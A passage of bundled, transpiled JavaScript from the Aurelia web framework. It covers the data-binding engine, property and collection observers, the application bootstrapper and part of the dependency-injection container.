var SVGAnalyzer = exports.SVGAnalyzer = svgAnalyzer || function () {
function _class11() {
}
_class11.prototype.isStandardSvgAttribute = function isStandardSvgAttribute() {
return false;
};
return _class11;
}();
var ObserverLocator = exports.ObserverLocator = (_temp = _class12 = function () {
function ObserverLocator(taskQueue, eventManager, dirtyChecker, svgAnalyzer, parser) {
this.taskQueue = taskQueue;
this.eventManager = eventManager;
this.dirtyChecker = dirtyChecker;
this.svgAnalyzer = svgAnalyzer;
this.parser = parser;
this.adapters = [];
this.logger = LogManager.getLogger('observer-locator');
}
ObserverLocator.prototype.getObserver = function getObserver(obj, propertyName) {
var observersLookup = obj.__observers__;
var observer = void 0;
if (observersLookup && propertyName in observersLookup) {
return observersLookup[propertyName];
}
observer = this.createPropertyObserver(obj, propertyName);
if (!observer.doNotCache) {
if (observersLookup === undefined) {
observersLookup = this.getOrCreateObserversLookup(obj);
}
observersLookup[propertyName] = observer;
}
return observer;
};
ObserverLocator.prototype.getOrCreateObserversLookup = function getOrCreateObserversLookup(obj) {
return obj.__observers__ || this.createObserversLookup(obj);
};
ObserverLocator.prototype.createObserversLookup = function createObserversLookup(obj) {
var value = {};
if (!Reflect.defineProperty(obj, '__observers__', {
enumerable: false,
configurable: false,
writable: false,
value: value
})) {
this.logger.warn('Cannot add observers to object', obj);
}
return value;
};
ObserverLocator.prototype.addAdapter = function addAdapter(adapter) {
this.adapters.push(adapter);
};
ObserverLocator.prototype.getAdapterObserver = function getAdapterObserver(obj, propertyName, descriptor) {
for (var _i26 = 0, ii = this.adapters.length; _i26 < ii; _i26++) {
var adapter = this.adapters[_i26];
var observer = adapter.getObserver(obj, propertyName, descriptor);
if (observer) {
return observer;
}
}
return null;
};
ObserverLocator.prototype.createPropertyObserver = function createPropertyObserver(obj, propertyName) {
var descriptor = void 0;
var handler = void 0;
var xlinkResult = void 0;
if (!(obj instanceof Object)) {
return new PrimitiveObserver(obj, propertyName);
}
if (obj instanceof _aureliaPal.DOM.Element) {
if (propertyName === 'class') {
return new ClassObserver(obj);
}
if (propertyName === 'style' || propertyName === 'css') {
return new StyleObserver(obj, propertyName);
}
handler = this.eventManager.getElementHandler(obj, propertyName);
if (propertyName === 'value' && obj.tagName.toLowerCase() === 'select') {
return new SelectValueObserver(obj, handler, this);
}
if (propertyName === 'checked' && obj.tagName.toLowerCase() === 'input') {
return new CheckedObserver(obj, handler, this);
}
if (handler) {
return new ValueAttributeObserver(obj, propertyName, handler);
}
xlinkResult = /^xlink:(.+)$/.exec(propertyName);
if (xlinkResult) {
return new XLinkAttributeObserver(obj, propertyName, xlinkResult[1]);
}
if (propertyName === 'role' && (obj instanceof _aureliaPal.DOM.Element || obj instanceof _aureliaPal.DOM.SVGElement) || /^\w+:|^data-|^aria-/.test(propertyName) || obj instanceof _aureliaPal.DOM.SVGElement && this.svgAnalyzer.isStandardSvgAttribute(obj.nodeName, propertyName)) {
return new DataAttributeObserver(obj, propertyName);
}
}
descriptor = Object.getPropertyDescriptor(obj, propertyName);
if (hasDeclaredDependencies(descriptor)) {
return createComputedObserver(obj, propertyName, descriptor, this);
}
if (descriptor) {
var existingGetterOrSetter = descriptor.get || descriptor.set;
if (existingGetterOrSetter) {
if (existingGetterOrSetter.getObserver) {
return existingGetterOrSetter.getObserver(obj);
}
var adapterObserver = this.getAdapterObserver(obj, propertyName, descriptor);
if (adapterObserver) {
return adapterObserver;
}
return new DirtyCheckProperty(this.dirtyChecker, obj, propertyName);
}
}
if (obj instanceof Array) {
if (propertyName === 'length') {
return this.getArrayObserver(obj).getLengthObserver();
}
return new DirtyCheckProperty(this.dirtyChecker, obj, propertyName);
} else if (obj instanceof Map) {
if (propertyName === 'size') {
return this.getMapObserver(obj).getLengthObserver();
}
return new DirtyCheckProperty(this.dirtyChecker, obj, propertyName);
} else if (obj instanceof Set) {
if (propertyName === 'size') {
return this.getSetObserver(obj).getLengthObserver();
}
return new DirtyCheckProperty(this.dirtyChecker, obj, propertyName);
}
return new SetterObserver(this.taskQueue, obj, propertyName);
};
ObserverLocator.prototype.getAccessor = function getAccessor(obj, propertyName) {
if (obj instanceof _aureliaPal.DOM.Element) {
if (propertyName === 'class' || propertyName === 'style' || propertyName === 'css' || propertyName === 'value' && (obj.tagName.toLowerCase() === 'input' || obj.tagName.toLowerCase() === 'select') || propertyName === 'checked' && obj.tagName.toLowerCase() === 'input' || propertyName === 'model' && obj.tagName.toLowerCase() === 'input' || /^xlink:.+$/.exec(propertyName)) {
return this.getObserver(obj, propertyName);
}
if (/^\w+:|^data-|^aria-/.test(propertyName) || obj instanceof _aureliaPal.DOM.SVGElement && this.svgAnalyzer.isStandardSvgAttribute(obj.nodeName, propertyName)) {
return dataAttributeAccessor;
}
}
return propertyAccessor;
};
ObserverLocator.prototype.getArrayObserver = function getArrayObserver(array) {
return _getArrayObserver(this.taskQueue, array);
};
ObserverLocator.prototype.getMapObserver = function getMapObserver(map) {
return _getMapObserver(this.taskQueue, map);
};
ObserverLocator.prototype.getSetObserver = function getSetObserver(set) {
return _getSetObserver(this.taskQueue, set);
};
return ObserverLocator;
}(), _class12.inject = [_aureliaTaskQueue.TaskQueue, EventManager, DirtyChecker, SVGAnalyzer, Parser], _temp);
var ObjectObservationAdapter = exports.ObjectObservationAdapter = function () {
function ObjectObservationAdapter() {
}
ObjectObservationAdapter.prototype.getObserver = function getObserver(object, propertyName, descriptor) {
throw new Error('BindingAdapters must implement getObserver(object, propertyName).');
};
return ObjectObservationAdapter;
}();
var BindingExpression = exports.BindingExpression = function () {
function BindingExpression(observerLocator, targetProperty, sourceExpression, mode, lookupFunctions, attribute) {
this.observerLocator = observerLocator;
this.targetProperty = targetProperty;
this.sourceExpression = sourceExpression;
this.mode = mode;
this.lookupFunctions = lookupFunctions;
this.attribute = attribute;
this.discrete = false;
}
BindingExpression.prototype.createBinding = function createBinding(target) {
return new Binding(this.observerLocator, this.sourceExpression, target, this.targetProperty, this.mode, this.lookupFunctions);
};
return BindingExpression;
}();
var targetContext = 'Binding:target';
var Binding = exports.Binding = (_dec10 = connectable(), _dec10(_class13 = function () {
function Binding(observerLocator, sourceExpression, target, targetProperty, mode, lookupFunctions) {
this.observerLocator = observerLocator;
this.sourceExpression = sourceExpression;
this.target = target;
this.targetProperty = targetProperty;
this.mode = mode;
this.lookupFunctions = lookupFunctions;
}
Binding.prototype.updateTarget = function updateTarget(value) {
this.targetObserver.setValue(value, this.target, this.targetProperty);
};
Binding.prototype.updateSource = function updateSource(value) {
this.sourceExpression.assign(this.source, value, this.lookupFunctions);
};
Binding.prototype.call = function call(context, newValue, oldValue) {
if (!this.isBound) {
return;
}
if (context === sourceContext) {
oldValue = this.targetObserver.getValue(this.target, this.targetProperty);
newValue = this.sourceExpression.evaluate(this.source, this.lookupFunctions);
if (newValue !== oldValue) {
this.updateTarget(newValue);
}
if (this.mode !== bindingMode.oneTime) {
this._version++;
this.sourceExpression.connect(this, this.source);
this.unobserve(false);
}
return;
}
if (context === targetContext) {
if (newValue !== this.sourceExpression.evaluate(this.source, this.lookupFunctions)) {
this.updateSource(newValue);
}
return;
}
throw new Error('Unexpected call context ' + context);
};
Binding.prototype.bind = function bind(source) {
if (this.isBound) {
if (this.source === source) {
return;
}
this.unbind();
}
this.isBound = true;
this.source = source;
if (this.sourceExpression.bind) {
this.sourceExpression.bind(this, source, this.lookupFunctions);
}
var mode = this.mode;
if (!this.targetObserver) {
var method = mode === bindingMode.twoWay ? 'getObserver' : 'getAccessor';
this.targetObserver = this.observerLocator[method](this.target, this.targetProperty);
}
if ('bind' in this.targetObserver) {
this.targetObserver.bind();
}
var value = this.sourceExpression.evaluate(source, this.lookupFunctions);
this.updateTarget(value);
if (mode === bindingMode.oneWay) {
enqueueBindingConnect(this);
} else if (mode === bindingMode.twoWay) {
this.sourceExpression.connect(this, source);
this.targetObserver.subscribe(targetContext, this);
}
};
Binding.prototype.unbind = function unbind() {
if (!this.isBound) {
return;
}
this.isBound = false;
if (this.sourceExpression.unbind) {
this.sourceExpression.unbind(this, this.source);
}
this.source = null;
if ('unbind' in this.targetObserver) {
this.targetObserver.unbind();
}
if (this.targetObserver.unsubscribe) {
this.targetObserver.unsubscribe(targetContext, this);
}
this.unobserve(true);
};
Binding.prototype.connect = function connect(evaluate) {
if (!this.isBound) {
return;
}
if (evaluate) {
var value = this.sourceExpression.evaluate(this.source, this.lookupFunctions);
this.updateTarget(value);
}
this.sourceExpression.connect(this, this.source);
};
return Binding;
}()) || _class13);
var CallExpression = exports.CallExpression = function () {
function CallExpression(observerLocator, targetProperty, sourceExpression, lookupFunctions) {
this.observerLocator = observerLocator;
this.targetProperty = targetProperty;
this.sourceExpression = sourceExpression;
this.lookupFunctions = lookupFunctions;
}
CallExpression.prototype.createBinding = function createBinding(target) {
return new Call(this.observerLocator, this.sourceExpression, target, this.targetProperty, this.lookupFunctions);
};
return CallExpression;
}();
var Call = exports.Call = function () {
function Call(observerLocator, sourceExpression, target, targetProperty, lookupFunctions) {
this.sourceExpression = sourceExpression;
this.target = target;
this.targetProperty = observerLocator.getObserver(target, targetProperty);
this.lookupFunctions = lookupFunctions;
}
Call.prototype.callSource = function callSource($event) {
var overrideContext = this.source.overrideContext;
Object.assign(overrideContext, $event);
overrideContext.$event = $event;
var mustEvaluate = true;
var result = this.sourceExpression.evaluate(this.source, this.lookupFunctions, mustEvaluate);
delete overrideContext.$event;
for (var prop in $event) {
delete overrideContext[prop];
}
return result;
};
Call.prototype.bind = function bind(source) {
var _this27 = this;
if (this.isBound) {
if (this.source === source) {
return;
}
this.unbind();
}
this.isBound = true;
this.source = source;
if (this.sourceExpression.bind) {
this.sourceExpression.bind(this, source, this.lookupFunctions);
}
this.targetProperty.setValue(function ($event) {
return _this27.callSource($event);
});
};
Call.prototype.unbind = function unbind() {
if (!this.isBound) {
return;
}
this.isBound = false;
if (this.sourceExpression.unbind) {
this.sourceExpression.unbind(this, this.source);
}
this.source = null;
this.targetProperty.setValue(null);
};
return Call;
}();
var ValueConverterResource = exports.ValueConverterResource = function () {
function ValueConverterResource(name) {
this.name = name;
}
ValueConverterResource.convention = function convention(name) {
if (name.endsWith('ValueConverter')) {
return new ValueConverterResource(camelCase(name.substring(0, name.length - 14)));
}
};
ValueConverterResource.prototype.initialize = function initialize(container, target) {
this.instance = container.get(target);
};
ValueConverterResource.prototype.register = function register(registry, name) {
registry.registerValueConverter(name || this.name, this.instance);
};
ValueConverterResource.prototype.load = function load(container, target) {};
return ValueConverterResource;
}();
function valueConverter(nameOrTarget) {
if (nameOrTarget === undefined || typeof nameOrTarget === 'string') {
return function (target) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, new ValueConverterResource(nameOrTarget), target);
};
}
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, new ValueConverterResource(), nameOrTarget);
}
var BindingBehaviorResource = exports.BindingBehaviorResource = function () {
function BindingBehaviorResource(name) {
this.name = name;
}
BindingBehaviorResource.convention = function convention(name) {
if (name.endsWith('BindingBehavior')) {
return new BindingBehaviorResource(camelCase(name.substring(0, name.length - 15)));
}
};
BindingBehaviorResource.prototype.initialize = function initialize(container, target) {
this.instance = container.get(target);
};
BindingBehaviorResource.prototype.register = function register(registry, name) {
registry.registerBindingBehavior(name || this.name, this.instance);
};
BindingBehaviorResource.prototype.load = function load(container, target) {};
return BindingBehaviorResource;
}();
function bindingBehavior(nameOrTarget) {
if (nameOrTarget === undefined || typeof nameOrTarget === 'string') {
return function (target) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, new BindingBehaviorResource(nameOrTarget), target);
};
}
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, new BindingBehaviorResource(), nameOrTarget);
}
var ListenerExpression = exports.ListenerExpression = function () {
function ListenerExpression(eventManager, targetEvent, sourceExpression, delegationStrategy, preventDefault, lookupFunctions) {
this.eventManager = eventManager;
this.targetEvent = targetEvent;
this.sourceExpression = sourceExpression;
this.delegationStrategy = delegationStrategy;
this.discrete = true;
this.preventDefault = preventDefault;
this.lookupFunctions = lookupFunctions;
}
ListenerExpression.prototype.createBinding = function createBinding(target) {
return new Listener(this.eventManager, this.targetEvent, this.delegationStrategy, this.sourceExpression, target, this.preventDefault, this.lookupFunctions);
};
return ListenerExpression;
}();
var Listener = exports.Listener = function () {
function Listener(eventManager, targetEvent, delegationStrategy, sourceExpression, target, preventDefault, lookupFunctions) {
this.eventManager = eventManager;
this.targetEvent = targetEvent;
this.delegationStrategy = delegationStrategy;
this.sourceExpression = sourceExpression;
this.target = target;
this.preventDefault = preventDefault;
this.lookupFunctions = lookupFunctions;
}
Listener.prototype.callSource = function callSource(event) {
var overrideContext = this.source.overrideContext;
overrideContext.$event = event;
var mustEvaluate = true;
var result = this.sourceExpression.evaluate(this.source, this.lookupFunctions, mustEvaluate);
delete overrideContext.$event;
if (result !== true && this.preventDefault) {
event.preventDefault();
}
return result;
};
Listener.prototype.bind = function bind(source) {
var _this28 = this;
if (this.isBound) {
if (this.source === source) {
return;
}
this.unbind();
}
this.isBound = true;
this.source = source;
if (this.sourceExpression.bind) {
this.sourceExpression.bind(this, source, this.lookupFunctions);
}
this._disposeListener = this.eventManager.addEventListener(this.target, this.targetEvent, function (event) {
return _this28.callSource(event);
}, this.delegationStrategy);
};
Listener.prototype.unbind = function unbind() {
if (!this.isBound) {
return;
}
this.isBound = false;
if (this.sourceExpression.unbind) {
this.sourceExpression.unbind(this, this.source);
}
this.source = null;
this._disposeListener();
this._disposeListener = null;
};
return Listener;
}();
function getAU(element) {
var au = element.au;
if (au === undefined) {
throw new Error('No Aurelia APIs are defined for the element: "' + element.tagName + '".');
}
return au;
}
var NameExpression = exports.NameExpression = function () {
function NameExpression(sourceExpression, apiName, lookupFunctions) {
this.sourceExpression = sourceExpression;
this.apiName = apiName;
this.lookupFunctions = lookupFunctions;
this.discrete = true;
}
NameExpression.prototype.createBinding = function createBinding(target) {
return new NameBinder(this.sourceExpression, NameExpression.locateAPI(target, this.apiName), this.lookupFunctions);
};
NameExpression.locateAPI = function locateAPI(element, apiName) {
switch (apiName) {
case 'element':
return element;
case 'controller':
return getAU(element).controller;
case 'view-model':
return getAU(element).controller.viewModel;
case 'view':
return getAU(element).controller.view;
default:
var target = getAU(element)[apiName];
if (target === undefined) {
throw new Error('Attempted to reference "' + apiName + '", but it was not found amongst the target\'s API.');
}
return target.viewModel;
}
};
return NameExpression;
}();
var NameBinder = function () {
function NameBinder(sourceExpression, target, lookupFunctions) {
this.sourceExpression = sourceExpression;
this.target = target;
this.lookupFunctions = lookupFunctions;
}
NameBinder.prototype.bind = function bind(source) {
if (this.isBound) {
if (this.source === source) {
return;
}
this.unbind();
}
this.isBound = true;
this.source = source;
if (this.sourceExpression.bind) {
this.sourceExpression.bind(this, source, this.lookupFunctions);
}
this.sourceExpression.assign(this.source, this.target, this.lookupFunctions);
};
NameBinder.prototype.unbind = function unbind() {
if (!this.isBound) {
return;
}
this.isBound = false;
if (this.sourceExpression.evaluate(this.source, this.lookupFunctions) === this.target) {
this.sourceExpression.assign(this.source, null, this.lookupFunctions);
}
if (this.sourceExpression.unbind) {
this.sourceExpression.unbind(this, this.source);
}
this.source = null;
};
return NameBinder;
}();
var LookupFunctions = {
bindingBehaviors: function bindingBehaviors(name) {
return null;
},
valueConverters: function valueConverters(name) {
return null;
}
};
var BindingEngine = exports.BindingEngine = (_temp2 = _class14 = function () {
function BindingEngine(observerLocator, parser) {
this.observerLocator = observerLocator;
this.parser = parser;
}
BindingEngine.prototype.createBindingExpression = function createBindingExpression(targetProperty, sourceExpression) {
var mode = arguments.length <= 2 || arguments[2] === undefined ? bindingMode.oneWay : arguments[2];
var lookupFunctions = arguments.length <= 3 || arguments[3] === undefined ? LookupFunctions : arguments[3];
return new BindingExpression(this.observerLocator, targetProperty, this.parser.parse(sourceExpression), mode, lookupFunctions);
};
BindingEngine.prototype.propertyObserver = function propertyObserver(obj, propertyName) {
var _this29 = this;
return {
subscribe: function subscribe(callback) {
var observer = _this29.observerLocator.getObserver(obj, propertyName);
observer.subscribe(callback);
return {
dispose: function dispose() {
return observer.unsubscribe(callback);
}
};
}
};
};
BindingEngine.prototype.collectionObserver = function collectionObserver(collection) {
var _this30 = this;
return {
subscribe: function subscribe(callback) {
var observer = void 0;
if (collection instanceof Array) {
observer = _this30.observerLocator.getArrayObserver(collection);
} else if (collection instanceof Map) {
observer = _this30.observerLocator.getMapObserver(collection);
} else if (collection instanceof Set) {
observer = _this30.observerLocator.getSetObserver(collection);
} else {
throw new Error('collection must be an instance of Array, Map or Set.');
}
observer.subscribe(callback);
return {
dispose: function dispose() {
return observer.unsubscribe(callback);
}
};
}
};
};
BindingEngine.prototype.expressionObserver = function expressionObserver(bindingContext, expression) {
var scope = { bindingContext: bindingContext, overrideContext: createOverrideContext(bindingContext) };
return new ExpressionObserver(scope, this.parser.parse(expression), this.observerLocator, LookupFunctions);
};
BindingEngine.prototype.parseExpression = function parseExpression(expression) {
return this.parser.parse(expression);
};
BindingEngine.prototype.registerAdapter = function registerAdapter(adapter) {
this.observerLocator.addAdapter(adapter);
};
return BindingEngine;
}(), _class14.inject = [ObserverLocator, Parser], _temp2);
var setProto = Set.prototype;
function _getSetObserver(taskQueue, set) {
return ModifySetObserver.for(taskQueue, set);
}
exports.getSetObserver = _getSetObserver;
var ModifySetObserver = function (_ModifyCollectionObse3) {
_inherits(ModifySetObserver, _ModifyCollectionObse3);
function ModifySetObserver(taskQueue, set) {
return _possibleConstructorReturn(this, _ModifyCollectionObse3.call(this, taskQueue, set));
}
ModifySetObserver.for = function _for(taskQueue, set) {
if (!('__set_observer__' in set)) {
Reflect.defineProperty(set, '__set_observer__', {
value: ModifySetObserver.create(taskQueue, set),
enumerable: false, configurable: false
});
}
return set.__set_observer__;
};
ModifySetObserver.create = function create(taskQueue, set) {
var observer = new ModifySetObserver(taskQueue, set);
var proto = setProto;
if (proto.add !== set.add || proto.delete !== set.delete || proto.clear !== set.clear) {
proto = {
add: set.add,
delete: set.delete,
clear: set.clear
};
}
set.add = function () {
var type = 'add';
var oldSize = set.size;
var methodCallResult = proto.add.apply(set, arguments);
var hasValue = set.size === oldSize;
if (!hasValue) {
observer.addChangeRecord({
type: type,
object: set,
value: Array.from(set).pop()
});
}
return methodCallResult;
};
set.delete = function () {
var hasValue = set.has(arguments[0]);
var methodCallResult = proto.delete.apply(set, arguments);
if (hasValue) {
observer.addChangeRecord({
type: 'delete',
object: set,
value: arguments[0]
});
}
return methodCallResult;
};
set.clear = function () {
var methodCallResult = proto.clear.apply(set, arguments);
observer.addChangeRecord({
type: 'clear',
object: set
});
return methodCallResult;
};
return observer;
};
return ModifySetObserver;
}(ModifyCollectionObserver);
function observable(targetOrConfig, key, descriptor) {
function deco(target, key, descriptor, config) {
var isClassDecorator = key === undefined;
if (isClassDecorator) {
target = target.prototype;
key = typeof config === 'string' ? config : config.name;
}
var innerPropertyName = '_' + key;
var innerPropertyDescriptor = {
configurable: true,
enumerable: false,
writable: true
};
var callbackName = config && config.changeHandler || key + 'Changed';
if (descriptor) {
if (typeof descriptor.initializer === 'function') {
innerPropertyDescriptor.value = descriptor.initializer();
}
} else {
descriptor = {};
}
if (!('enumerable' in descriptor)) {
descriptor.enumerable = true;
}
delete descriptor.value;
delete descriptor.writable;
delete descriptor.initializer;
Reflect.defineProperty(target, innerPropertyName, innerPropertyDescriptor);
descriptor.get = function () {
return this[innerPropertyName];
};
descriptor.set = function (newValue) {
var oldValue = this[innerPropertyName];
if (newValue === oldValue) {
return;
}
this[innerPropertyName] = newValue;
Reflect.defineProperty(this, innerPropertyName, { enumerable: false });
if (this[callbackName]) {
this[callbackName](newValue, oldValue, key);
}
};
descriptor.get.dependencies = [innerPropertyName];
if (isClassDecorator) {
Reflect.defineProperty(target, key, descriptor);
} else {
return descriptor;
}
}
if (key === undefined) {
return function (t, k, d) {
return deco(t, k, d, targetOrConfig);
};
}
return deco(targetOrConfig, key, descriptor);
}
});
define('aurelia-bootstrapper',['exports', 'aurelia-pal', 'aurelia-pal-browser', 'aurelia-polyfills'], function (exports, _aureliaPal, _aureliaPalBrowser) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.bootstrap = bootstrap;
var bootstrapQueue = [];
var sharedLoader = null;
var Aurelia = null;
function onBootstrap(callback) {
return new Promise(function (resolve, reject) {
if (sharedLoader) {
resolve(callback(sharedLoader));
} else {
bootstrapQueue.push(function () {
try {
resolve(callback(sharedLoader));
} catch (e) {
reject(e);
}
});
}
});
}
function ready(global) {
return new Promise(function (resolve, reject) {
if (global.document.readyState === 'complete') {
resolve(global.document);
} else {
global.document.addEventListener('DOMContentLoaded', completed);
global.addEventListener('load', completed);
}
function completed() {
global.document.removeEventListener('DOMContentLoaded', completed);
global.removeEventListener('load', completed);
resolve(global.document);
}
});
}
function createLoader() {
if (_aureliaPal.PLATFORM.Loader) {
return Promise.resolve(new _aureliaPal.PLATFORM.Loader());
}
if (window.System && typeof window.System.import === 'function') {
return System.normalize('aurelia-bootstrapper').then(function (bootstrapperName) {
return System.normalize('aurelia-loader-default', bootstrapperName);
}).then(function (loaderName) {
return System.import(loaderName).then(function (m) {
return new m.DefaultLoader();
});
});
}
if (typeof window.require === 'function') {
return new Promise(function (resolve, reject) {
return require(['aurelia-loader-default'], function (m) {
return resolve(new m.DefaultLoader());
}, reject);
});
}
return Promise.reject('No PLATFORM.Loader is defined and there is neither a System API (ES6) or a Require API (AMD) globally available to load your app.');
}
function preparePlatform(loader) {
return loader.normalize('aurelia-bootstrapper').then(function (bootstrapperName) {
return loader.normalize('aurelia-framework', bootstrapperName).then(function (frameworkName) {
loader.map('aurelia-framework', frameworkName);
return Promise.all([loader.normalize('aurelia-dependency-injection', frameworkName).then(function (diName) {
return loader.map('aurelia-dependency-injection', diName);
}), loader.normalize('aurelia-router', bootstrapperName).then(function (routerName) {
return loader.map('aurelia-router', routerName);
}), loader.normalize('aurelia-logging-console', bootstrapperName).then(function (loggingConsoleName) {
return loader.map('aurelia-logging-console', loggingConsoleName);
})]).then(function () {
return loader.loadModule(frameworkName).then(function (m) {
return Aurelia = m.Aurelia;
});
});
});
});
}
function handleApp(loader, appHost) {
var moduleId = appHost.getAttribute('aurelia-app') || appHost.getAttribute('data-aurelia-app');
return config(loader, appHost, moduleId);
}
function config(loader, appHost, configModuleId) {
var aurelia = new Aurelia(loader);
aurelia.host = appHost;
aurelia.configModuleId = configModuleId || null;
if (configModuleId) {
return loader.loadModule(configModuleId).then(function (customConfig) {
if (!customConfig.configure) {
throw new Error("Cannot initialize module '" + configModuleId + "' without a configure function.");
}
customConfig.configure(aurelia);
});
}
aurelia.use.standardConfiguration().developmentLogging();
return aurelia.start().then(function () {
return aurelia.setRoot();
});
}
function run() {
return ready(window).then(function (doc) {
(0, _aureliaPalBrowser.initialize)();
var appHost = doc.querySelectorAll('[aurelia-app],[data-aurelia-app]');
return createLoader().then(function (loader) {
return preparePlatform(loader).then(function () {
for (var i = 0, ii = appHost.length; i < ii; ++i) {
handleApp(loader, appHost[i]).catch(console.error.bind(console));
}
sharedLoader = loader;
for (var _i = 0, _ii = bootstrapQueue.length; _i < _ii; ++_i) {
bootstrapQueue[_i]();
}
bootstrapQueue = null;
});
});
});
}
function bootstrap(configure) {
return onBootstrap(function (loader) {
var aurelia = new Aurelia(loader);
return configure(aurelia);
});
}
run();
});
define('aurelia-dependency-injection',['exports', 'aurelia-metadata', 'aurelia-pal'], function (exports, _aureliaMetadata, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Container = exports.InvocationHandler = exports._emptyParameters = exports.SingletonRegistration = exports.TransientRegistration = exports.FactoryInvoker = exports.NewInstance = exports.Factory = exports.StrategyResolver = exports.Parent = exports.Optional = exports.All = exports.Lazy = exports.resolver = undefined;
exports.getDecoratorDependencies = getDecoratorDependencies;
exports.lazy = lazy;
exports.all = all;
exports.optional = optional;
exports.parent = parent;
exports.factory = factory;
exports.newInstance = newInstance;
exports.invoker = invoker;
exports.invokeAsFactory = invokeAsFactory;
exports.registration = registration;
exports.transient = transient;
exports.singleton = singleton;
exports.autoinject = autoinject;
exports.inject = inject;
var _dec, _class, _dec2, _class3, _dec3, _class5, _dec4, _class7, _dec5, _class9, _dec6, _class11, _dec7, _class13, _classInvokers;
var resolver = exports.resolver = _aureliaMetadata.protocol.create('aurelia:resolver', function (target) {
if (!(typeof target.get === 'function')) {
return 'Resolvers must implement: get(container: Container, key: any): any';
}
return true;
});
var Lazy = exports.Lazy = (_dec = resolver(), _dec(_class = function () {
function Lazy(key) {
this._key = key;
}
Lazy.prototype.get = function get(container) {
var _this = this;
return function () {
return container.get(_this._key);
};
};
Lazy.of = function of(key) {
return new Lazy(key);
};
return Lazy;
}()) || _class);
var All = exports.All = (_dec2 = resolver(), _dec2(_class3 = function () {
function All(key) {
this._key = key;
}
All.prototype.get = function get(container) {
return container.getAll(this._key);
};
All.of = function of(key) {
return new All(key);
};
return All;
}()) || _class3);
var Optional = exports.Optional = (_dec3 = resolver(), _dec3(_class5 = function () {
function Optional(key) {
var checkParent = arguments.length <= 1 || arguments[1] === undefined ? true : arguments[1];
this._key = key;
this._checkParent = checkParent;
}
Optional.prototype.get = function get(container) {
if (container.hasResolver(this._key, this._checkParent)) {
return container.get(this._key);
}
return null;
};
Optional.of = function of(key) {
var checkParent = arguments.length <= 1 || arguments[1] === undefined ? true : arguments[1];
return new Optional(key, checkParent);
};
return Optional;
}()) || _class5);
var Parent = exports.Parent = (_dec4 = resolver(), _dec4(_class7 = function () {
function Parent(key) {
this._key = key;
}
Parent.prototype.get = function get(container) {
return container.parent ? container.parent.get(this._key) : null;
};
Parent.of = function of(key) {
return new Parent(key);
};
return Parent;
}()) || _class7);
var StrategyResolver = exports.StrategyResolver = (_dec5 = resolver(), _dec5(_class9 = function () {
function StrategyResolver(strategy, state) {
this.strategy = strategy;
this.state = state;
}
StrategyResolver.prototype.get = function get(container, key) {
switch (this.strategy) {
case 0:
return this.state;
case 1:
var singleton = container.invoke(this.state);
this.state = singleton;
this.strategy = 0;
return singleton;
case 2:
return container.invoke(this.state);
case 3:
return this.state(container, key, this);
case 4:
return this.state[0].get(container, key);
case 5:
return container.get(this.state);
default:
throw new Error('Invalid strategy: ' + this.strategy);
}
};
return StrategyResolver;
}()) || _class9);
var Factory = exports.Factory = (_dec6 = resolver(), _dec6(_class11 = function () {
function Factory(key) {
this._key = key;
}
Factory.prototype.get = function get(container) {
var _this2 = this;
return function () {
for (var _len = arguments.length, rest = Array(_len), _key = 0; _key < _len; _key++) {
rest[_key] = arguments[_key];
}
return container.invoke(_this2._key, rest);
};
};
Factory.of = function of(key) {
return new Factory(key);
};
return Factory;
}()) || _class11);
var NewInstance = exports.NewInstance = (_dec7 = resolver(), _dec7(_class13 = function () {
function NewInstance(key) {
this.key = key;
this.asKey = key;
for (var _len2 = arguments.length, dynamicDependencies = Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
dynamicDependencies[_key2 - 1] = arguments[_key2];
}
this.dynamicDependencies = dynamicDependencies;
}
NewInstance.prototype.get = function get(container) {
var dynamicDependencies = this.dynamicDependencies.length > 0 ? this.dynamicDependencies.map(function (dependency) {
return dependency['protocol:aurelia:resolver'] ? dependency.get(container) : container.get(dependency);
}) : undefined;
var instance = container.invoke(this.key, dynamicDependencies);
container.registerInstance(this.asKey, instance);
return instance;
};
NewInstance.prototype.as = function as(key) {
this.asKey = key;
return this;
};
NewInstance.of = function of(key) {
for (var _len3 = arguments.length, dynamicDependencies = Array(_len3 > 1 ? _len3 - 1 : 0), _key3 = 1; _key3 < _len3; _key3++) {
dynamicDependencies[_key3 - 1] = arguments[_key3];
}
return new (Function.prototype.bind.apply(NewInstance, [null].concat([key], dynamicDependencies)))();
};
return NewInstance;
}()) || _class13);
function getDecoratorDependencies(target, name) {
var dependencies = target.inject;
if (typeof dependencies === 'function') {
throw new Error('Decorator ' + name + ' cannot be used with "inject()". Please use an array instead.');
}
if (!dependencies) {
dependencies = _aureliaMetadata.metadata.getOwn(_aureliaMetadata.metadata.paramTypes, target).slice();
target.inject = dependencies;
}
return dependencies;
}
function lazy(keyValue) {
return function (target, key, index) {
var params = getDecoratorDependencies(target, 'lazy');
params[index] = Lazy.of(keyValue);
};
}
function all(keyValue) {
return function (target, key, index) {
var params = getDecoratorDependencies(target, 'all');
params[index] = All.of(keyValue);
};
}
function optional() {
var checkParentOrTarget = arguments.length <= 0 || arguments[0] === undefined ? true : arguments[0];
var deco = function deco(checkParent) {
return function (target, key, index) {
var params = getDecoratorDependencies(target, 'optional');
params[index] = Optional.of(params[index], checkParent);
};
};
if (typeof checkParentOrTarget === 'boolean') {
return deco(checkParentOrTarget);
}
return deco(true);
}
function parent(target, key, index) {
var params = getDecoratorDependencies(target, 'parent');
params[index] = Parent.of(params[index]);
}
function factory(keyValue, asValue) {
return function (target, key, index) {
var params = getDecoratorDependencies(target, 'factory');
var factory = Factory.of(keyValue);
params[index] = asValue ? factory.as(asValue) : factory;
};
}
function newInstance(asKeyOrTarget) {
for (var _len4 = arguments.length, dynamicDependencies = Array(_len4 > 1 ? _len4 - 1 : 0), _key4 = 1; _key4 < _len4; _key4++) {
dynamicDependencies[_key4 - 1] = arguments[_key4];
}
var deco = function deco(asKey) {
return function (target, key, index) {
var params = getDecoratorDependencies(target, 'newInstance');
params[index] = NewInstance.of.apply(NewInstance, [params[index]].concat(dynamicDependencies));
if (!!asKey) {
params[index].as(asKey);
}
};
};
if (arguments.length >= 1) {
return deco(asKeyOrTarget);
}
return deco();
}
function invoker(value) {
return function (target) {
